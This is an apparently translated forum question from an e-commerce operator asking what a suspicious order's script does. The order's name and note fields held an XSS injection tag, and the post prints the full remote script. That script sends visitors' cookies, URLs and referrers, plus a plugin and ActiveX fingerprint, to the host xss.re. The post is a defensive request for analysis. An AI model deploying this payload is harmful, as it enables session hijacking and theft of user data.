Un sito di e-commerce che gestisco di recente ha ricevuto una transazione sospetta. Il campo per il nome del cliente includeva un tag script, ad esempio (il nome del cliente è stato cambiato in John Doe per proteggere l'anonimato):
John Doe"><script src=//xss.re/692></script>
Il campo della nota (dove i clienti possono scrivere una nota sul loro ordine) aveva lo stesso tag senza altro testo:
"><script src=//xss.re/692></script>
La transazione appare altrimenti normale. Sta spedendo a quello che sembra essere un indirizzo legittimo in Ohio. L'unico altro problema è che l'indirizzo gmail un po 'legittimo, [email protected]
rimbalzato. Poiché non riesco a contattare l'acquirente e l'aspetto generale è ombreggiato, ho intenzione di rimborsare il pagamento, quindi nessun problema lì.
Ciò di cui sono curioso è qual è lo scopo del tag script? Googling "xss.re" non sembra dare alcun risultato correlato, e il sito stesso presenta solo una finestra di login per "IHONKER.ORG". L'URL specifico nello script ("xss.re/692") carica il seguente script:
var x=new Image();
try
{
var myopener='';
myopener=window.opener && window.opener.location ? window.opener.location : '';
}
catch(err)
{
}
x.src='http://xss.re/XSS/?do=api&act=r&id=692&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape
(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);var activexa = new Array(
"Flash Player 8|ShockwaveFlash.ShockwaveFlash.8|classID",
"Flash Player 9|ShockwaveFlash.ShockwaveFlash.9|classID",
"360Safe|360SafeLive.Update|classID",
"Alibaba User(AliEdit)|Aliedit.EditCtrl|classID",
"CMB Bank|CMBHtmlControl.Edit|classID",
"Apple IPOD USER|IPodUpdaterExt.iPodUpdaterInterface|classID",
"Apple iTunes|iTunesAdmin.iTunesAdmin|classID",
"JRE 1.7|JavaWebStart.isInstalled.1.7.0.0|classID",
"JRE 1.6(WebStart)|JavaWebStart.isInstalled.1.6.0.0|classID",
"KMPlayer|KMPlayer.TKMPDropTarget|classID",
"KingSoft Word(�ʰ�)|KSEngine.Word|classID",
"Windows live Messanger|Messenger.MsgrObject|classID",
"Nero|NeroFileDialog.NeroFileDlg|classID",
"Nokia Cellphone|NokiaCL.PhoneControl|classID",
"PPlayer|PPlayer.XPPlayer|classID",
"Tencent QQ|Qqedit.PasswordEditCtrl|classID",
"QuickTime|QuickTime.QTElementBehavior|classID",
"Symantec Anti-Virus|Symantec.stInetTransferItem|classID",
"Xunlei|XunLeiBHO.ThunderIEHelper|classID"
);
function iescan(){
var mytmp;
var plus;
var bar;
var x=new Image();
for (i=0; i<activexa.length; i++){
mytmp = activexa[i].split('|');
if ( checkobj(mytmp[1]) == true ){
plus+="|"+mytmp[0]+"<br>";
}
}
bar = escape(plus);
x.src='http://xss.re/XSS/?do=api&act=r&id=692&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(document.myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);
}
function checkobj(objName){
try {
var Obj = new ActiveXObject(objName);
return true;
} catch (e){
return false;
}
}
//-------------
function check_plus() {
var plus = "";
var bar = "";
var b=new Image();
var num_of_plugins = navigator.plugins.length;
for (var i=0; i < num_of_plugins; i++) {
plus+= navigator.plugins[i].name+" | "+ navigator.plugins[i].filename +"<br>";
}
bar = escape(plus);
b.src='http://xss.re/XSS/?do=api&act=r&id=692&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);
}
function MyPlusCheck() {
if(!+[1,]){
iescan();
}else{
check_plus();
}
}
setTimeout("MyPlusCheck()", 3000);
Ho difficoltà a capire cosa fa lo script. Quindi le mie domande sono:
Che cosa fa questo script?
Finché il mio sito non inserisce input DOM non filtrati (attualmente usa jQuery .text (), che credo sia XSS safe ), ho qualcosa di cui preoccuparmi da un attacco come questo?
Esiste un modo plausibile in cui questo tag potrebbe essere stato inserito da una persona diversa dalla persona che ha effettuato l'ordine, ad es. malware sul sistema di un cliente legittimo?